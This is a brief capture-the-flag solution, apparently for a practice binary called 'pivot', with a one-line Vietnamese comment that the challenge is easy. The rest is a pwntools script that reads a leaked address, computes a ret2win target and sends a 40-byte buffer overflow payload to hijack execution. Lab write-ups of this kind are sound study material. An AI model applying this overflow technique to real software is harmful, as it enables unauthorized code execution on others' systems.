pivot [challenge 7]
chall nay ez qua nen minh de scripts thoi
from pwn import *
r = process("./pivot")
#gdb.attach(r,api = True)
payload = b""
leak = int(r.recv().split(b"to pivot: ")[1].split(b"\nSend")[0],16)
log.info(f"Leak: {hex(leak)}")
ret2win = leak + 0x229b71
log.info(f"ret2win: {hex(ret2win)}")
r.sendline(b"1")
r.recv()
r.sendline(b"a"*40+p64(ret2win))
r.interactive()